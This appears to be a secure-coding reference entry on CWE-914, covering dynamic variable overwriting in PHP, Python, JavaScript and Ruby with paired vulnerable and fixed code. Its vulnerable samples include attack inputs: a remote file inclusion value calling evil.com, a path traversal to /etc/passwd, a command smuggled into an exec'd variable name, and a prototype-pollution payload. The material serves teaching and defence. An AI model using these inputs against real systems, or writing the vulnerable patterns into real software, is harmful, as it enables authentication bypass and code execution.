Improper Control of Dynamically-Identified Variables

Description

Improper Control of Dynamically-Identified Variables occurs when software fails to properly restrict reading from or writing to variables that are specified by input strings. Many programming languages provide mechanisms to access variables dynamically by name at runtime (variable variables, extract(), import_from_string, etc.). When attackers can control the variable names being accessed, they can read or modify unintended variables, including security-critical ones like authentication flags, configuration settings, or access control parameters.

Risk

This vulnerability allows attackers to manipulate program state in unexpected ways. Attackers can overwrite security-related variables to bypass authentication or authorization checks. They may access sensitive variables to leak confidential information. In some cases, modifying variables can lead to code execution if function pointers or class names are affected. The attack is particularly dangerous because it affects variables the developer assumed were internal and protected from external manipulation. Common attack scenarios include bypassing access controls, modifying configuration values, and path traversal through variable manipulation.

Solution

Avoid using dynamic variable access mechanisms with untrusted input. If dynamic variable access is necessary, use an explicit allowlist of permitted variable names. Use dedicated data structures (arrays, maps, objects) instead of individual variables for user-controlled data. When using functions like extract(), specify the EXTR_SKIP flag to prevent overwriting existing variables, or better yet, avoid extract() entirely. Validate and sanitize all variable names against strict patterns. Consider architectural changes that eliminate the need for dynamic variable access.

Common Consequences

ImpactDetails
IntegrityScope: Integrity

Modify Application Data - Attackers can overwrite variables to change application state or behavior.
IntegrityScope: Integrity

Execute Unauthorized Code or Commands - In some contexts, modified variables may lead to code execution.
ConfidentialityScope: Confidentiality

Read Application Data - Attackers may access sensitive variable values through dynamic access.
Access ControlScope: Access Control

Bypass Protection Mechanism - Security flags and access control variables can be overwritten.

Example Code

Vulnerable Code

// Vulnerable: extract() overwrites local variables
<?php
function vulnerable_login($username, $password) {
    $isAdmin = false;  // Important security flag

    // Vulnerable: extract() creates variables from POST data
    extract($_POST);

    // Check credentials
    $user = authenticate($username, $password);

    if ($isAdmin) {  // Attacker can set isAdmin=true in POST!
        grantAdminAccess($user);
    }

    return $user;
}

// Attack: POST data with isAdmin=true bypasses authentication
// POST: username=hacker&password=wrong&isAdmin=true
?>
// Vulnerable: Variable variables
<?php
$adminPassword = "secret123";
$userInput = "adminPassword";  // From user

// Vulnerable: Variable variable accesses any variable
$value = $$userInput;  // Returns "secret123"

// Or for writing:
$varName = $_GET['name'];
$varValue = $_GET['value'];
$$varName = $varValue;  // Can overwrite any variable!
?>
// Vulnerable: Dynamic include via variable manipulation
<?php
extract($_GET);  // Creates $page variable from GET

// Attacker sets: ?page=../../../etc/passwd
// Or: ?page=http://evil.com/malicious.php
include($page . ".php");  // Path traversal or RFI
?>
# Vulnerable: Using globals() or locals() with user input
def vulnerable_set_config(key, value):
    # Vulnerable: Allows setting any global variable
    globals()[key] = value

# Attack:
# vulnerable_set_config("admin_mode", True)
# vulnerable_set_config("__builtins__", None)  # Can break Python
# Vulnerable: exec with f-strings for variable assignment
def vulnerable_assign(var_name, value):
    # Vulnerable: Creates variable with user-controlled name
    exec(f"{var_name} = {repr(value)}")

# Can inject code:
# vulnerable_assign("x; import os; os.system('whoami'); y", "")
// Vulnerable: Dynamic property access
function vulnerableSetProperty(obj, key, value) {
    // Vulnerable: Can modify any property
    obj[key] = value;
}

// Attack:
const config = { isAdmin: false, secretKey: 'abc123' };
vulnerableSetProperty(config, 'isAdmin', true);  // Bypass auth
vulnerableSetProperty(config, '__proto__', { polluted: true });  // Prototype pollution
# Vulnerable: instance_variable_set with user input
class User
  attr_accessor :name, :role

  def initialize(name)
    @name = name
    @role = 'user'
  end

  def update_from_params(params)
    params.each do |key, value|
      # Vulnerable: Sets any instance variable
      instance_variable_set("@#{key}", value)
    end
  end
end

# Attack:
user = User.new("bob")
user.update_from_params({ "role" => "admin" })  # Privilege escalation

Fixed Code

// Fixed: Whitelist allowed variables
<?php
function fixed_login($username, $password) {
    $isAdmin = false;

    // Fixed: Only extract specific, allowed keys
    $allowed = ['username', 'password'];
    $filtered = array_intersect_key($_POST, array_flip($allowed));

    // Or manually assign
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    $user = authenticate($username, $password);

    // isAdmin can only be set through proper authorization
    if ($user && $user->hasAdminRole()) {
        $isAdmin = true;
        grantAdminAccess($user);
    }

    return $user;
}
?>
// Fixed: Avoid variable variables, use arrays
<?php
// Instead of individual variables, use an array
$config = [
    'adminPassword' => 'secret123',
    'apiKey' => 'xyz789'
];

// Only allow access to specific keys
$allowedKeys = ['theme', 'language', 'timezone'];

function getSetting($key, $config, $allowedKeys) {
    // Fixed: Whitelist check
    if (!in_array($key, $allowedKeys)) {
        throw new InvalidArgumentException("Unknown setting: $key");
    }

    return $config[$key] ?? null;
}
?>
// Fixed: Use safe include patterns
<?php
// Define allowed pages explicitly
$allowedPages = [
    'home' => 'pages/home.php',
    'about' => 'pages/about.php',
    'contact' => 'pages/contact.php'
];

$page = $_GET['page'] ?? 'home';

// Fixed: Whitelist lookup
if (isset($allowedPages[$page])) {
    include($allowedPages[$page]);
} else {
    include($allowedPages['home']);  // Safe default
}
?>
# Fixed: Use explicit configuration dict
class Config:
    ALLOWED_KEYS = {'theme', 'language', 'timezone', 'page_size'}

    def __init__(self):
        self._settings = {
            'theme': 'light',
            'language': 'en',
            'timezone': 'UTC',
            'page_size': 20
        }

    def set(self, key, value):
        # Fixed: Only allow known settings
        if key not in self.ALLOWED_KEYS:
            raise ValueError(f"Unknown setting: {key}")

        self._settings[key] = value

    def get(self, key):
        if key not in self.ALLOWED_KEYS:
            raise ValueError(f"Unknown setting: {key}")

        return self._settings.get(key)
# Fixed: Avoid exec/eval for variable assignment
def fixed_assign(var_name, value, context):
    # Define allowed variables
    ALLOWED_VARS = {'user_theme', 'user_language', 'display_name'}

    # Fixed: Validate against whitelist
    if var_name not in ALLOWED_VARS:
        raise ValueError(f"Cannot set variable: {var_name}")

    # Use dictionary instead of globals()
    context[var_name] = value
    return context
// Fixed: Validate property names
function fixedSetProperty(obj, key, value) {
    // Forbidden properties
    const FORBIDDEN = ['__proto__', 'constructor', 'prototype'];

    // Fixed: Prevent prototype pollution
    if (FORBIDDEN.includes(key)) {
        throw new Error(`Cannot set property: ${key}`);
    }

    // Optional: Whitelist allowed properties
    const ALLOWED = ['theme', 'language', 'timezone'];
    if (!ALLOWED.includes(key)) {
        throw new Error(`Unknown property: ${key}`);
    }

    obj[key] = value;
}

// Better: Use Map for dynamic keys
const userSettings = new Map();

function setUserSetting(key, value) {
    const ALLOWED = ['theme', 'language', 'timezone'];

    if (!ALLOWED.includes(key)) {
        throw new Error(`Unknown setting: ${key}`);
    }

    userSettings.set(key, value);
}
# Fixed: Whitelist allowed attributes
class User
  ALLOWED_PARAMS = %w[name email avatar].freeze

  attr_accessor :name, :email, :avatar, :role

  def initialize(name)
    @name = name
    @role = 'user'  # Cannot be changed via params
  end

  def update_from_params(params)
    params.each do |key, value|
      # Fixed: Only allow safe attributes
      if ALLOWED_PARAMS.include?(key.to_s)
        instance_variable_set("@#{key}", value)
      else
        Rails.logger.warn "Rejected param: #{key}"
      end
    end
  end
end

# Better: Use strong parameters (Rails)
def user_params
  params.require(:user).permit(:name, :email, :avatar)
  # :role is not permitted
end

CVE Examples

  • CVE-2006-7135: extract() vulnerability enabled arbitrary file inclusion.
  • CVE-2006-7079: extract() used to enable path traversal attack.
  • CVE-2009-0422: Dynamic variable evaluation allowed remote file inclusion.
  • CVE-2007-2431: Dynamic variable evaluation used for cross-site scripting.
  • CVE-2006-4019: Vulnerability allowed reading and modifying user attachments.

  • CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (parent)
  • CWE-913: Improper Control of Dynamically-Managed Code Resources (related)
  • CWE-621: Variable Extraction Error (related)
  • CWE-627: Dynamic Variable Evaluation (related)

References

  1. MITRE Corporation. "CWE-914: Improper Control of Dynamically-Identified Variables." https://cwe.mitre.org/data/definitions/914.html
  2. OWASP. "Mass Assignment Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
  3. PHP Documentation. "Variable variables." https://www.php.net/manual/en/language.variables.variable.php